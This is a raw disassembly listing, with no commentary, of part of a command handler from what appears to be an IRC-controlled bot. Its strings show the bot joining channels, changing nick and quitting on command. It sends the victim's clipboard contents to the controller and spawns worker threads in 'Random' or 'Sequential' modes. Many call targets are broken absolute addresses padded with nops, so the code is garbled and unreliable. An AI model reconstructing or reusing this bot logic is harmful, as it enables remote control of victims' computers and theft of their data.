; ---------------------------------------------------------------------------


loc_413AC5:				; CODE XREF: sub_40EE72+4C47j
		push	offset unk_430578
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_413ACF:				; CODE XREF: sub_40EE72+1AC8j
					; sub_40EE72+1ADFj
		mov	al, [edi]
		mov	byte_42F5C4, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset dword_430544
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_413AE4:				; CODE XREF: sub_40EE72+1A9Aj
					; sub_40EE72+1AB1j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_414F47
		push	ebx
		push	ebx
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		call	sub_415D01
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_430E94
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_412FD0
; ---------------------------------------------------------------------------


loc_413B32:				; CODE XREF: sub_40EE72+1A6Cj
					; sub_40EE72+1A83j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_40F239
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_40F239
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	sub_40D633
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 2620494h
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	dword_43AE30
		push	[ebp+var_10]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_440804[eax]
		nop
		call	near ptr 27E07FEh
		push	edi
		call	sub_41781F
		imul	eax, 234h
		push	edi
		mov	dword_440804[eax], ebx
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_4405F0[eax], bl
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_413BDD:				; CODE XREF: sub_40EE72+1A3Ej
					; sub_40EE72+1A55j
		push	edi
		push	offset aAll	; "all"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413C1B
		call	sub_416F25
		cmp	eax, ebx
		jle	short loc_413C11
		push	eax
		push	offset dword_4304F8


loc_413BFD:				; CODE XREF: sub_40EE72+15E2j
					; sub_40EE72+2A8Fj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0


loc_413C09:				; CODE XREF: sub_40EE72+3CA4j
		add	esp, 0Ch
		jmp	loc_41460C
; ---------------------------------------------------------------------------


loc_413C11:				; CODE XREF: sub_40EE72+4D83j
		push	offset dword_4304C0
		jmp	loc_4145FE
; ---------------------------------------------------------------------------


loc_413C1B:				; CODE XREF: sub_40EE72+4D7Aj
		mov	eax, [ebp+var_C0]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_40F239
		lea	eax, [ebp+edi*4+var_94]
		mov	[ebp+arg_24], eax


loc_413C37:				; CODE XREF: sub_40EE72+4E36j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_40F239
		push	esi
		call	sub_41781F
		push	eax
		call	sub_416E97
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_413C5E
		push	offset dword_43048C
		jmp	short loc_413C63
; ---------------------------------------------------------------------------


loc_413C5E:				; CODE XREF: sub_40EE72+4DE3j
		push	offset dword_430450


loc_413C63:				; CODE XREF: sub_40EE72+4DEAj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_413C93
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_413C93:				; CODE XREF: sub_40EE72+4E03j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_413C37
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_413CAF:				; CODE XREF: sub_40EE72+1A10j
					; sub_40EE72+1A27j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F47
		push	esi
		push	offset dword_428598
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	offset dword_430428
		jmp	loc_414F40
; ---------------------------------------------------------------------------


loc_413CE9:				; CODE XREF: sub_40EE72+19E2j
					; sub_40EE72+19F9j
		push	edi
		push	offset dword_430DC4
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	offset dword_4303F8
		jmp	loc_414F40
; ---------------------------------------------------------------------------


loc_413D05:				; CODE XREF: sub_40EE72+19B4j
					; sub_40EE72+19CBj
		push	[ebp+esi+var_8C]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		push	edi
		push	offset dword_4303C8
		jmp	loc_414F40
; ---------------------------------------------------------------------------


loc_413D28:				; CODE XREF: sub_40EE72+1986j
					; sub_40EE72+199Dj
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	offset dword_430394
		jmp	loc_414F40
; ---------------------------------------------------------------------------


loc_413D44:				; CODE XREF: sub_40EE72+194Bj
					; sub_40EE72+1960j
		mov	al, byte_42F5F2
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_42F5F2
		jz	loc_40F239
		mov	ecx, edx


loc_413D5B:				; CODE XREF: sub_40EE72+4EF1j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_413D5B
		cmp	al, bl
		jz	loc_40F239
		mov	[ebp+arg_18], edx


loc_413D70:				; CODE XREF: sub_40EE72+51BCj
		push	8
		call	sub_416FA4
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 3E8h
		jle	short loc_413DBF
		push	ecx
		lea	eax, [ebp+var_2DC]
		push	offset unk_4316D8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_414025
; ---------------------------------------------------------------------------


loc_413DBF:				; CODE XREF: sub_40EE72+4F18j
		or	[ebp+var_314], 0FFFFFFFFh
		cmp	dword_42ACB0, ebx
		mov	[ebp+var_318], 64h
		mov	[ebp+var_32C], 7
		mov	[ebp+var_328], 270Fh
		mov	[ebp+arg_0], ebx
		jz	short loc_413E30
		mov	eax, [ebp+arg_18]
		mov	edi, offset dword_42ACB0
		lea	esi, [eax-0Ah]


loc_413DFA:				; CODE XREF: sub_40EE72+4FA0j
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413E16
		inc	[ebp+arg_0]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_413DFA
		jmp	short loc_413E30
; ---------------------------------------------------------------------------


loc_413E16:				; CODE XREF: sub_40EE72+4F96j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_314], eax
		imul	ecx, 3Ch
		mov	ecx, dword_42ACB0[ecx]
		mov	[ebp+var_330], ecx


loc_413E30:				; CODE XREF: sub_40EE72+4F7Bj
					; sub_40EE72+4FA2j
		cmp	[ebp+var_330], ebx
		jz	loc_414039
		push	10h
		lea	eax, [ebp+arg_10]
		pop	esi
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		mov	[ebp+arg_10], esi
		push	[ebp+arg_4]
		call	dword_43AD3C
		mov	al, [ebp+var_9C7]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2E8], eax
		push	[ebp+var_2E8]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418C10
		xor	eax, eax
		cmp	[ebp+var_9C7], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418F10
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_413ED2


loc_413EB0:				; CODE XREF: sub_40EE72+505Ej
		cmp	eax, ebx
		jz	short loc_413ED2
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_444]
		push	30h
		push	eax
		call	sub_418F10
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_413EB0


loc_413ED2:				; CODE XREF: sub_40EE72+503Cj
					; sub_40EE72+5040j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_334], eax
		mov	eax, [ebp+var_8]
		mov	edi, 80h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_434]
		push	edi
		push	eax
		mov	[ebp+var_304], 1
		mov	[ebp+var_30C], esi
		call	sub_41782A
		push	offset byte_436EDC
		push	offset aF	; "#f"
		call	sub_4176D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_413F3C
		push	offset aF	; "#f"
		lea	eax, [ebp+var_3B4]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_413F42
; ---------------------------------------------------------------------------


loc_413F3C:				; CODE XREF: sub_40EE72+50B1j
		mov	[ebp+var_3B4], bl


loc_413F42:				; CODE XREF: sub_40EE72+50C8j
		cmp	[ebp+var_304], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_413F54
		mov	eax, offset aSequential	; "Sequential"


loc_413F54:				; CODE XREF: sub_40EE72+50DBj
		push	[ebp+var_318]
		lea	ecx, [ebp+var_444]
		push	[ebp+var_328]
		push	[ebp+var_32C]
		push	[ebp+var_330]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_43031C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5C
		add	esp, 2Ch
		mov	[ebp+var_324], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_444]
		push	ebx
		push	eax
		push	offset sub_40797F
		push	ebx
		push	ebx
		call	near ptr 26A0AE7h
		nop
		mov	ecx, [ebp+var_324]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_413FDE


loc_413FCC:				; CODE XREF: sub_40EE72+516Aj
		cmp	[ebp+var_300], ebx
		jnz	short loc_413FF9
		push	32h
		nop
		call	near ptr 2620494h
		jmp	short loc_413FCC
; ---------------------------------------------------------------------------


loc_413FDE:				; CODE XREF: sub_40EE72+5158j
		call	near ptr 267036Ah
		nop
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_4315C8
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_413FF9:				; CODE XREF: sub_40EE72+5160j
		cmp	[ebp+var_8], ebx
		jnz	short loc_414018
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	esi
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_414018:				; CODE XREF: sub_40EE72+518Aj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_414025:				; CODE XREF: sub_40EE72+4F48j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_413D70
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_414039:				; CODE XREF: sub_40EE72+3108j
					; sub_40EE72+4FC4j
		push	offset unk_4302D8
		jmp	loc_4145FE
; ---------------------------------------------------------------------------


loc_414043:				; CODE XREF: sub_40EE72+1921j
					; sub_40EE72+1936j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_A4]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_A8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		push	offset unk_4302A0
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Eh
		push	eax
		call	sub_416D5C
		add	esp, 18h
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A8]
		push	ebx
		push	eax
		push	offset sub_409037
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0AE7h
		mov	ecx, [ebp+var_24]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4140DC


loc_4140C9:				; CODE XREF: sub_40EE72+5268j
		cmp	[ebp+var_18], ebx
		jnz	loc_414E11
		push	32h
		call	near ptr 2620494h
		nop
		jmp	short loc_4140C9
; ---------------------------------------------------------------------------


loc_4140DC:				; CODE XREF: sub_40EE72+5255j
		nop
		call	near ptr 267036Ah
		push	eax
		push	offset unk_430254
		jmp	loc_414E02
; ---------------------------------------------------------------------------


loc_4140ED:				; CODE XREF: sub_40EE72+18F7j
					; sub_40EE72+190Cj
		push	4
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_414103
		push	offset unk_430228
		jmp	loc_410D38
; ---------------------------------------------------------------------------


loc_414103:				; CODE XREF: sub_40EE72+5285j
		mov	eax, [ebp+esi+var_90]
		cmp	eax, ebx
		jz	short loc_414126
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_7FC]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_41413A
; ---------------------------------------------------------------------------


loc_414126:				; CODE XREF: sub_40EE72+529Aj
		mov	edi, 104h
		lea	eax, [ebp+var_7FC]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2680000h


loc_41413A:				; CODE XREF: sub_40EE72+52B2j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_41414A
		mov	esi, offset byte_42F674


loc_41414A:				; CODE XREF: sub_40EE72+52D1j
		push	esi
		lea	eax, [ebp+var_6F8]
		push	edi
		push	eax
		call	sub_41782A
		mov	eax, dword_42F5AC
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_5EC], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_5F0], ebx
		mov	[ebp+var_800], eax
		lea	eax, [ebp+var_5E8]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_6F8]
		push	eax
		lea	eax, [ebp+var_7FC]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_5EC]
		push	offset unk_42B328
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	4
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_5F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_800]
		push	ebx
		push	eax
		push	offset sub_406C19
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0AE7h
		mov	ecx, [ebp+var_5F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_41421D


loc_414207:				; CODE XREF: sub_40EE72+53A9j
		cmp	[ebp+var_560], ebx
		jnz	loc_410E57
		push	32h
		nop
		call	near ptr 2620494h
		jmp	short loc_414207
; ---------------------------------------------------------------------------


loc_41421D:				; CODE XREF: sub_40EE72+5393j
		call	near ptr 267036Ah
		nop
		push	eax
		push	offset unk_4301E0
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_41422E:				; CODE XREF: sub_40EE72+18CDj
					; sub_40EE72+18E2j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_41424D
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_41424D
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_414252
; ---------------------------------------------------------------------------


loc_41424D:				; CODE XREF: sub_40EE72+53C5j
					; sub_40EE72+53D0j
		mov	eax, dword_42F5B0


loc_414252:				; CODE XREF: sub_40EE72+53D9j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_57C], eax
		xor	eax, eax
		cmp	[ebp+var_9C4], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_568], eax
		jz	short loc_414285
		lea	eax, [ebp+var_680]
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	short loc_4142B0
; ---------------------------------------------------------------------------


loc_414285:				; CODE XREF: sub_40EE72+5400j
		lea	eax, [ebp+var_3FC]
		push	104h
		push	eax
		call	near ptr 26204C9h
		nop
		push	ebx
		push	ebx
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4192B8
		add	esp, 14h


loc_4142B0:				; CODE XREF: sub_40EE72+5411j
		lea	eax, [ebp+var_680]
		push	eax
		call	sub_417AB0
		cmp	[ebp+eax+var_681], 5Ch
		pop	ecx
		jnz	short loc_4142DB
		lea	eax, [ebp+var_680]
		push	eax
		call	sub_417AB0
		pop	ecx
		mov	[ebp+eax+var_681], bl


loc_4142DB:				; CODE XREF: sub_40EE72+5453j
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_908]
		mov	[ebp+var_90C], esi
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_680]
		mov	[ebp+var_570], edi
		push	eax
		push	[ebp+var_57C]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_42B20C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	3
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_90C]
		push	ebx
		push	eax
		push	offset sub_405AF2
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0AE7h
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_414393


loc_41437D:				; CODE XREF: sub_40EE72+551Fj
		cmp	[ebp+var_560], ebx
		jnz	loc_4144E5
		push	32h
		nop
		call	near ptr 2620494h
		jmp	short loc_41437D
; ---------------------------------------------------------------------------


loc_414393:				; CODE XREF: sub_40EE72+5509j
		nop
		call	near ptr 267036Ah
		push	eax
		push	offset unk_430198
		jmp	loc_4144D6
; ---------------------------------------------------------------------------


loc_4143A4:				; CODE XREF: sub_40EE72+18A3j
					; sub_40EE72+18B8j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_4143C3
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_4143C3
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_4143C8
; ---------------------------------------------------------------------------


loc_4143C3:				; CODE XREF: sub_40EE72+553Bj
					; sub_40EE72+5546j
		mov	eax, dword_42F5B4


loc_4143C8:				; CODE XREF: sub_40EE72+554Fj
		mov	[ebp+var_578], eax
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jnz	short loc_4143DF
		lea	eax, [ebp+var_D8]


loc_4143DF:				; CODE XREF: sub_40EE72+5565j
		push	eax
		lea	eax, [ebp+var_6B8]
		push	40h
		push	eax
		call	sub_41782A
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_414401
		mov	esi, offset byte_436EDC


loc_414401:				; CODE XREF: sub_40EE72+5588j
		push	esi
		lea	eax, [ebp+var_678]
		push	100h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_738]
		push	[ebp+var_8C]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_6B8]
		push	eax
		mov	[ebp+var_73C], esi
		push	[ebp+var_578]
		mov	[ebp+var_568], edi
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_43014C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	6
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_73C]
		push	ebx
		push	eax
		push	offset word_41570E
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0AE7h
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4144CA


loc_4144B8:				; CODE XREF: sub_40EE72+5656j
		cmp	[ebp+var_560], ebx
		jnz	short loc_4144E5
		push	32h
		call	near ptr 2620494h
		nop
		jmp	short loc_4144B8
; ---------------------------------------------------------------------------


loc_4144CA:				; CODE XREF: sub_40EE72+5644j
		nop
		call	near ptr 267036Ah
		push	eax
		push	offset dword_430100


loc_4144D6:				; CODE XREF: sub_40EE72+3625j
					; sub_40EE72+3722j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_4144E5:				; CODE XREF: sub_40EE72+3609j
					; sub_40EE72+3706j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E11
		push	ebx
		push	edi
		jmp	loc_411D2F
; ---------------------------------------------------------------------------


loc_4144F5:				; CODE XREF: sub_40EE72+1879j
					; sub_40EE72+188Ej
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414508
		push	esi
		call	sub_41781F
		jmp	short loc_41450F
; ---------------------------------------------------------------------------


loc_414508:				; CODE XREF: sub_40EE72+568Cj
		push	8
		call	sub_416FC3


loc_41450F:				; CODE XREF: sub_40EE72+5694j
		cmp	eax, ebx
		pop	ecx
		jz	loc_414F47
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4071DB


loc_41452A:				; CODE XREF: sub_40EE72+5B67j
		add	esp, 10h
		jmp	loc_414F47
; ---------------------------------------------------------------------------


loc_414532:				; CODE XREF: sub_40EE72+184Fj
					; sub_40EE72+1864j
		mov	eax, dword_43ACC0
		cmp	eax, ebx
		jz	short loc_41454F
		call	eax
		test	eax, eax
		jz	short loc_414548
		push	offset unk_4300CC
		jmp	short loc_414564
; ---------------------------------------------------------------------------


loc_414548:				; CODE XREF: sub_40EE72+56CDj
		push	offset unk_430090
		jmp	short loc_414564
; ---------------------------------------------------------------------------


loc_41454F:				; CODE XREF: sub_40EE72+56C7j
		push	offset dword_430054
		jmp	short loc_414564
; ---------------------------------------------------------------------------


loc_414556:				; CODE XREF: sub_40EE72+1825j
					; sub_40EE72+183Aj
		call	sub_40AE02
		test	eax, eax
		jz	short loc_41457A
		push	offset dword_430020


loc_414564:				; CODE XREF: sub_40EE72+4AFCj
					; sub_40EE72+56D4j ...
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		jmp	loc_4110BD
; ---------------------------------------------------------------------------


loc_41457A:				; CODE XREF: sub_40EE72+56EBj
		push	offset unk_42FFE4
		jmp	short loc_414564
; ---------------------------------------------------------------------------


loc_414581:				; CODE XREF: sub_40EE72+17FBj
					; sub_40EE72+1810j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4145A0
		push	ebx
		push	[ebp+var_4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_4145A0:				; CODE XREF: sub_40EE72+5712j
		push	ebx
		push	[ebp+var_4]
		call	sub_40AABF
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_42FFA4


loc_4145BD:				; CODE XREF: sub_40EE72+5A09j
					; sub_40EE72+5A3Bj
		call	sub_40BF6D
		add	esp, 18h
		jmp	loc_414F47
; ---------------------------------------------------------------------------


loc_4145CA:				; CODE XREF: sub_40EE72+171Cj
					; sub_40EE72+1731j
		push	7
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_4145DD
		push	offset dword_42FF6C
		jmp	short loc_4145FE
; ---------------------------------------------------------------------------


loc_4145DD:				; CODE XREF: sub_40EE72+5762j
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B56C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4145F9
		push	offset dword_42FF34
		jmp	short loc_4145FE
; ---------------------------------------------------------------------------


loc_4145F9:				; CODE XREF: sub_40EE72+577Ej
		push	offset dword_42FF04


loc_4145FE:				; CODE XREF: sub_40EE72+2C51j
					; sub_40EE72+2D87j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_41460C:				; CODE XREF: sub_40EE72+15C6j
					; sub_40EE72+2D61j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E11
		push	ebx
		push	[ebp+var_4]


loc_414619:				; CODE XREF: sub_40EE72+3961j
		lea	eax, [ebp+var_2DC]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]


loc_414629:				; CODE XREF: sub_40EE72+2ECBj
		call	sub_40D679
		add	esp, 14h
		jmp	loc_414E11
; ---------------------------------------------------------------------------


loc_414636:				; CODE XREF: sub_40EE72+16F2j
					; sub_40EE72+1707j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40A4AC
		jmp	loc_40F236
; ---------------------------------------------------------------------------


loc_41464F:				; CODE XREF: sub_40EE72+16C8j
					; sub_40EE72+16DDj
		push	[ebp+esi+var_90]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D320
		jmp	loc_40F236
; ---------------------------------------------------------------------------


loc_41466C:				; CODE XREF: sub_40EE72+169Ej
					; sub_40EE72+16B3j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 2610763h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_414695
		push	esi
		call	sub_41781F
		pop	ecx
		mov	edi, eax


loc_414695:				; CODE XREF: sub_40EE72+5818j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_4146AE
		cmp	edi, 0FFFFFFFFh
		jnz	loc_414F47


loc_4146AE:				; CODE XREF: sub_40EE72+5831j
		push	ebx
		call	sub_40B721
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_42FEDC
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		jmp	loc_411A5D
; ---------------------------------------------------------------------------


loc_4146F1:				; CODE XREF: sub_40EE72+1674j
					; sub_40EE72+1689j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_408C26
		add	esp, 0Ch
		push	offset unk_42FEAC
		jmp	loc_410D38
; ---------------------------------------------------------------------------


loc_41470F:				; CODE XREF: sub_40EE72+164Aj
					; sub_40EE72+165Fj
		push	1Fh
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_414738
		cmp	[ebp+var_8], ebx
		jnz	loc_40F239
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42FE78
		push	[ebp+var_8C]
		jmp	loc_40F7A0
; ---------------------------------------------------------------------------


loc_414738:				; CODE XREF: sub_40EE72+58A7j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		mov	[ebp+var_46C], ebx
		jz	short loc_414799
		push	esi
		push	offset aFull	; "full"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_414799
		mov	[ebp+var_46C], 1


loc_414799:				; CODE XREF: sub_40EE72+590Aj
